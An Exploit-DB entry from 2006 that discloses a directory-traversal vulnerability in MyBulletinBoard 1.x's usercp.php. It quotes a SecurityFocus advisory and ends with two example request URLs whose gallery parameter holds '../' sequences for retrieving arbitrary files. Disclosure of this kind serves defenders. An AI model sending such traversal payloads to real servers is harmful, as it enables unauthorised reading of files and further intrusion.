MyBulletinBoard 1.x UserCP.PHP Directory Traversal Vulnerability

2006-07-27T00:00:00
ID EDB-ID:28291
Type exploitdb
Reporter Roozbeh Afrasiabi
Modified 2006-07-27T00:00:00

Description

MyBulletinBoard 1.x UserCP.PHP Directory Traversal Vulnerability. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/19195/info

MyBulletinBoard is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/usercp.php?action=avatar&gallery=../../uploads
http://www.example.com/usercp.php?action=do_avatar&gallery=../../../../../../..dir&avatar=myfile